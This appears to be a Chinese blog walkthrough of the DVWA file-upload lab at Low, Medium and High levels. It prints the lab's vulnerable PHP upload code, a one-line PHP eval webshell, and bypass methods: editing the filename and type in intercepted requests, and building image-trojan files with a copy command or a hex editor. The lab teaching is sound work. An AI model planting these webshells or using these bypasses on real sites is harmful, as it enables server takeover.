文件上传

文件上传的要点:(1)绕过题目的各种过滤手段成功上传文件并且不被删除;
(2)确保文件可以正常运行;
(3)确保文件可以执行命令。

一句话木马(简称Webshell)

<?php @eval($_POST['123123']); ?>

基本原理

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑或者中国菜刀即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['123123']表示从页面中获得123123这个参数值,即该木马密码为123123。

Low

方法:

  1. 分析源码
<?php
 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
 
?> 

可以看到代码对上传的文件没有任何限制和过滤,存在明显的上传漏洞,成功上传后会提示路径+succesfully uploaded 上传失败则会提示 your image was not uploaded.
2. 上传一个包含一句话木马的php,我们可以发现上传成功。
在这里插入图片描述
3. 访问dvwa文件中的uploads对应的文件位置D:\phpstudy_pro\WWW\DVWA\hackable\uploads,我们可以发现flag.php
已经上传成功。
在这里插入图片描述
4.使用蚁剑连接木马,显示页面如下,说明木马连接成功。
在这里插入图片描述
在这里插入图片描述

Medium


<?php 
 
if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
 
    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
 
    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 
 
        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 
 
?>

分析源码,可以看到代码里对上传的类型和大小做了限制,只允许上传格式为jpegpng格式,上传大小为小于100000字节。当我们依然上传上一道题目的flag.php时,页面显示上传文件类型不正确。
在这里插入图片描述

方法1:burp抓包

  1. 首先在将flag.php文件后缀名改为.png;
  2. 使用burp抓取上传png文件的数据包;
    在这里插入图片描述
  3. 将Content-Disposition后的文件后缀为.php,为了跟上一道题目的文件名进行区分,我们将文件重命名为flag1.php;
    在这里插入图片描述
  4. 点击forward放包,我们发现flag1.php显示上传成功。
    在这里插入图片描述
  5. 访问dvwa文件中的uploads对应的文件位置D:\phpstudy_pro\WWW\DVWA\hackable\uploads,我们可以发现flag1.php
    已经上传成功。
    在这里插入图片描述
  6. 使用蚁剑连接木马,显示页面如下,说明木马连接成功。
    在这里插入图片描述
    在这里插入图片描述

方法2:使用cmd命令行制作图片木马

  1. 使用xxd(Linux命令之xxd命令主要用来查看文件对应的十六进制形式,也可以讲文件对应的十六进制形式输出到一个指定的文件。使用此命令所支持的特有选项,亦可以以二进制的形式查看文件)查看十六进制的第一行数据,可发现后缀为.png的图片前几个字符为8950 4e47,因此可通过前几个字符来判断是否为后缀.png的图片,同时我们可以伪造一张图片,保证十六进制数据的前几个字符为8950 4e47,在数据中插入一些恶意代码,从而实现getimagesize的绕过。
  2. 新建一个写入一句话木马的1.txt文档,文件夹以及名称为2.png的的图片,将图片和txt文档放入文件夹中,在文件地址处打开cmd命令行。
    在这里插入图片描述
  3. 在cmd命令行中输入copy 1.txt/b+2.png/a 3.jpg,即可制作一个文件名为3.jpg的图片木马。
    在这里插入图片描述
  4. 访问dvwa文件中的uploads对应的文件位置D:\phpstudy_pro\WWW\DVWA\hackable\uploads,我们可以发现3.jpg
    已经上传成功。
    在这里插入图片描述
  5. 使用跟上面蚁剑连接木马相同的步骤,即可显示连接成功。

方法3:使用010Editor制作图片木马

  1. 使用010编辑器打开文件名为2.png的图片,在图片的源码中插入一句话木马;在这里插入图片描述
  2. 将图片导出,即可成功制作出图片木马。
  3. 访问dvwa文件中的uploads对应的文件位置D:\phpstudy_pro\WWW\DVWA\hackable\uploads,我们可以发现2.png
    已经上传成功。

High

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。

方法:

  1. 点击upload,可以看到出现与medium相同的文件格式。
    在这里插入图片描述
    2.使用与medium中的方法3使用010编辑器制作图片木马。
    利用蚁剑连接图片木马需要用到文件包含以及各种不同类型的绕过方式还在学,以后会继续更新。
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐